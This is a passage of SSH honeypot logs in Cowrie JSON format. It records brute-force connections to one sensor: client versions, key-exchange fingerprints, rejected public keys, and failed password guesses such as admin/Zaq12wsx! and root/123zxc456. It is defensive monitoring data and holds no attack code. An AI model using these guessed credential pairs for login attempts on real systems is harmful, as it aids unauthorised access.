be:92:5c:ce:62:7d:ac:94:f0:56:5d:1b:12:3f:01:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:17.369766Z","src_ip":"103.75.71.22","session":"8f43b2a98b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:92:5c:ce:62:7d:ac:94:f0:56:5d:1b:12:3f:01:de","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANCN5h60h63zfUZNor70yOYw9AhFrn48finrT9fOqGK9Zn5I6GgS6KpoGcBatsNqvEZwKgXgAWvBJIcFCaRhGJMovrXea+qZl2ZRj7vqt69ztDdEuuGoteXbD8c6hJWPuHFUur3KEfR1Byz4l490M5u20b72sAEdLfHogbbRmRPjAAAAFQCvG+l8HuQOGjkpcNiWllqIkePEuwAAAIAarOxER8fchDoND3rXVo7Rgut5ImM6oHY5UaAJYaua91YL5oXyReM/VDqbok5b/m12ItPT3YROve0kpQdTuOCiXNLpfwHhq3zrhty4fQUUBrbeqa3KiIwsJrmpFORW1Ac/n57lHIOli2niFusdEYO9Pk2tqmEi7juMjdfi8Ss8wAAAAIEAnJGns0WGBVBHj9+y1lJzsluBtfDyChemShgVMFuR1eEuZ+Zd3NYR5uBkpBl6Tv0uDuaKdJYXIktjch2d23+G4tW342jPcS61Qkggh1Jm2djz1xOTWVLusexzIy5z8+XCQwiYjT+ff49o5/sN92YRrgkRDnmTq8ZHVdUK31etbCU=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:17.373968Z","src_ip":"103.75.71.22","session":"8f43b2a98b8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:47:b2:73:5c:ad:90:0d:80:7c:33:ce:1a:c5:fd:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrXZEHOvb69XxabNaHR2jpuFcFKHh/zO7NKuaqyM/BdtdPYrCZRqOx+LfbkpkXtv2eIZjOAnBnp0R93lzhrtvwg74Ze99KNRByXCFt5aOgu5vMrTI85NUgJ9HAjtXstOihPMhRWV1CsHCEsXIuLPByh31kw9ZSPjr5ZmS38PLj8gZf97KKDlOBN4zF7kUiLPbgJxBFGe97GDHXhyDsR731GsXNDo61lfc/Dgchh+QwyUgkGoHwJypVW9BQi6agTp6u92t4QUAOmRHLzV5EPjqroXpbvzXwum/H6/5NwpKCwFm8V6cRN/dsZnp1tOSQrAdgms6DzKkVIB1zisYmGnmT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:47:b2:73:5c:ad:90:0d:80:7c:33:ce:1a:c5:fd:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:17.494032Z","src_ip":"103.75.71.22","session":"8f43b2a98b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:47:b2:73:5c:ad:90:0d:80:7c:33:ce:1a:c5:fd:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrXZEHOvb69XxabNaHR2jpuFcFKHh/zO7NKuaqyM/BdtdPYrCZRqOx+LfbkpkXtv2eIZjOAnBnp0R93lzhrtvwg74Ze99KNRByXCFt5aOgu5vMrTI85NUgJ9HAjtXstOihPMhRWV1CsHCEsXIuLPByh31kw9ZSPjr5ZmS38PLj8gZf97KKDlOBN4zF7kUiLPbgJxBFGe97GDHXhyDsR731GsXNDo61lfc/Dgchh+QwyUgkGoHwJypVW9BQi6agTp6u92t4QUAOmRHLzV5EPjqroXpbvzXwum/H6/5NwpKCwFm8V6cRN/dsZnp1tOSQrAdgms6DzKkVIB1zisYmGnmT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:17.497962Z","src_ip":"103.75.71.22","session":"8f43b2a98b8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:96:b2:50:03:42:14:50:d0:cd:20:51:f7:26:dd:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvCjUEgK9xPIvfMjTUw6n6DB0AUGeJ3dFdtPcNi9Se63wdxNdbHtWf6i9zVBtkiJFv4UwueWTrPP9SKs14lSzMAdpwXb9dSua+kP4+ZV2YKgiRxdC74dt1bF+m2J13LJha55eKrot2UQsamnxBa28nvt+ZD9mXK24o0K8K/liS+evI4qOL6UMogRVwa4I3KJtX0wKdlNTwdcDLnBsnyQcMR0I493KDOHbvuTPiR0RughXRzBp8t/Gl+KZVNu1LJJlhC+vkeVJGNF4Nm90RMfgiX9949tDvZAuHYxCSPiyCKOPDoT92KtzAdrjLF1ZeErMrNmZLeCrBGeomOVh032H/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:96:b2:50:03:42:14:50:d0:cd:20:51:f7:26:dd:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:17.617590Z","src_ip":"103.75.71.22","session":"8f43b2a98b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:96:b2:50:03:42:14:50:d0:cd:20:51:f7:26:dd:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvCjUEgK9xPIvfMjTUw6n6DB0AUGeJ3dFdtPcNi9Se63wdxNdbHtWf6i9zVBtkiJFv4UwueWTrPP9SKs14lSzMAdpwXb9dSua+kP4+ZV2YKgiRxdC74dt1bF+m2J13LJha55eKrot2UQsamnxBa28nvt+ZD9mXK24o0K8K/liS+evI4qOL6UMogRVwa4I3KJtX0wKdlNTwdcDLnBsnyQcMR0I493KDOHbvuTPiR0RughXRzBp8t/Gl+KZVNu1LJJlhC+vkeVJGNF4Nm90RMfgiX9949tDvZAuHYxCSPiyCKOPDoT92KtzAdrjLF1ZeErMrNmZLeCrBGeomOVh032H/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:17.622610Z","src_ip":"103.75.71.22","session":"8f43b2a98b8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:72:ee:95:ee:34:a0:de:df:69:94:80:ff:6d:1d:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCm08cXfU/zIrNybXb4WpQ4hulW9aAP/qiQdofYRqtUjizdaOlE4ThlnKFcW/FEFXttlafRKAidb+vrl9RYxIaraMGWDWajVAlGKfN4Mp/9mmET7/b/scnv4F3gxcOzG1Nyy/yUCBs4dGAWNyh1XEU0SfQ6NYN4GwopvmOI7RpnqULIi+jRZ/48kk/5XyiIXCZ4arXgxLRl4M2VXIIwRblD/8d0v+jSY3nCgOdqVZVoPUOibYWqCPeL2YgJoO55uxe+gjCYu4RcJF6gjPQg7N5LmcYiu+V2vULXAhGIifSXZdOU0juTQraq/ag9NCn9PZVQJgMQjWeguXZBDlc1YDd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:72:ee:95:ee:34:a0:de:df:69:94:80:ff:6d:1d:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:17.741766Z","src_ip":"103.75.71.22","session":"8f43b2a98b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:72:ee:95:ee:34:a0:de:df:69:94:80:ff:6d:1d:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCm08cXfU/zIrNybXb4WpQ4hulW9aAP/qiQdofYRqtUjizdaOlE4ThlnKFcW/FEFXttlafRKAidb+vrl9RYxIaraMGWDWajVAlGKfN4Mp/9mmET7/b/scnv4F3gxcOzG1Nyy/yUCBs4dGAWNyh1XEU0SfQ6NYN4GwopvmOI7RpnqULIi+jRZ/48kk/5XyiIXCZ4arXgxLRl4M2VXIIwRblD/8d0v+jSY3nCgOdqVZVoPUOibYWqCPeL2YgJoO55uxe+gjCYu4RcJF6gjPQg7N5LmcYiu+V2vULXAhGIifSXZdOU0juTQraq/ag9NCn9PZVQJgMQjWeguXZBDlc1YDd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:17.745415Z","src_ip":"103.75.71.22","session":"8f43b2a98b8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:47:ef:34:34:a7:25:9b:51:d0:5a:03:99:31:c0:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7fQzFPFjS0sbvlH481plh8C2WchMYWV+2sKXWjtP8qKdil/qCDz4Ulht/Slttgk2oOldu09BM97ZL5fuAXgNkmHp2rxkBECYeX8xqB/2ifGFDuzF4LKbbScJAxSFjzJ38HiY0t1ris0f8tkGNGm29woq2eFEmq1sZk8aSBhfp8KCeym5nO4a9cN735Qql5D7UO2AxYta+wbDyywXTss4h/OMGt2kztci453ihDBQhjtOlAA1Kl5VqaiEFIqfpWNkyl58M11bZWOXjTYGhdXSsl308faMTwZGumCqmeP+IFzZMR2I5wrVRsKNWd2H+fG7vSDD55sq0ftgQxyUnaPGd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:47:ef:34:34:a7:25:9b:51:d0:5a:03:99:31:c0:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:17.881160Z","src_ip":"103.75.71.22","session":"8f43b2a98b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:47:ef:34:34:a7:25:9b:51:d0:5a:03:99:31:c0:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7fQzFPFjS0sbvlH481plh8C2WchMYWV+2sKXWjtP8qKdil/qCDz4Ulht/Slttgk2oOldu09BM97ZL5fuAXgNkmHp2rxkBECYeX8xqB/2ifGFDuzF4LKbbScJAxSFjzJ38HiY0t1ris0f8tkGNGm29woq2eFEmq1sZk8aSBhfp8KCeym5nO4a9cN735Qql5D7UO2AxYta+wbDyywXTss4h/OMGt2kztci453ihDBQhjtOlAA1Kl5VqaiEFIqfpWNkyl58M11bZWOXjTYGhdXSsl308faMTwZGumCqmeP+IFzZMR2I5wrVRsKNWd2H+fG7vSDD55sq0ftgQxyUnaPGd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:17.884461Z","src_ip":"103.75.71.22","session":"8f43b2a98b8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:18.001681Z","src_ip":"103.75.71.22","session":"8f43b2a98b8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":43806,"dst_ip":"159.203.135.109","dst_port":22,"session":"dadb575d04df","protocol":"ssh","message":"New connection: 46.29.234.126:43806 (159.203.135.109:22) [session: dadb575d04df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:53.599144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:53.603592Z","src_ip":"46.29.234.126","session":"dadb575d04df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:53.713014Z","src_ip":"46.29.234.126","session":"dadb575d04df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"test","message":"login attempt [sammy/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:54.186968Z","src_ip":"46.29.234.126","session":"dadb575d04df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:55.300025Z","src_ip":"46.29.234.126","session":"dadb575d04df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":59266,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0f8d6838444","protocol":"ssh","message":"New connection: 92.207.4.157:59266 (159.203.135.109:22) [session: b0f8d6838444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:57.490306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:57.494997Z","src_ip":"92.207.4.157","session":"b0f8d6838444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:57.595465Z","src_ip":"92.207.4.157","session":"b0f8d6838444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123zxc456","message":"login attempt [root/123zxc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:58.016098Z","src_ip":"92.207.4.157","session":"b0f8d6838444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:59.114437Z","src_ip":"92.207.4.157","session":"b0f8d6838444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":15584,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2152b75230c","protocol":"ssh","message":"New connection: 194.59.206.2:15584 (159.203.135.109:22) [session: a2152b75230c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:22:02.529005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:22:02.533441Z","src_ip":"194.59.206.2","session":"a2152b75230c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:22:02.614844Z","src_ip":"194.59.206.2","session":"a2152b75230c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:22:02.701277Z","src_ip":"194.59.206.2","session":"a2152b75230c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":37442,"dst_ip":"159.203.135.109","dst_port":22,"session":"f356d0e4a50b","protocol":"ssh","message":"New connection: 92.207.4.157:37442 (159.203.135.109:22) [session: f356d0e4a50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:22:26.840693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:22:26.845217Z","src_ip":"92.207.4.157","session":"f356d0e4a50b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:22:26.941948Z","src_ip":"92.207.4.157","session":"f356d0e4a50b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Zaq12wsx!","message":"login attempt [admin/Zaq12wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:22:27.359703Z","src_ip":"92.207.4.157","session":"f356d0e4a50b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:22:28.461157Z","src_ip":"92.207.4.157","session":"f356d0e4a50b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":41978,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5d4d36b625f","protocol":"ssh","message":"New connection: 103.27.238.114:41978 (159.203.135.109:22) [session: f5d4d36b625f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:22:41.527301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:22:41.530849Z","src_ip":"103.27.238.114","session":"f5d4d36b625f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:22:41.804443Z","src_ip":"103.27.238.114","session":"f5d4d36b625f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"geolog","message":"login attempt [root/geolog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:22:42.625615Z","src_ip":"103.27.238.114","session":"f5d4d36b625f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:22:43.901854Z","src_ip":"103.27.238.114","session":"f5d4d36b625f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":44522,"dst_ip":"159.203.135.109","dst_port":22,"session":"6308897f7720","protocol":"ssh","message":"New connection: 152.32.171.213:44522 (159.203.135.109:22) [session: 6308897f7720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:23:27.486085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:23:27.489671Z","src_ip":"152.32.171.213","session":"6308897f7720","protocol":"ssh"}
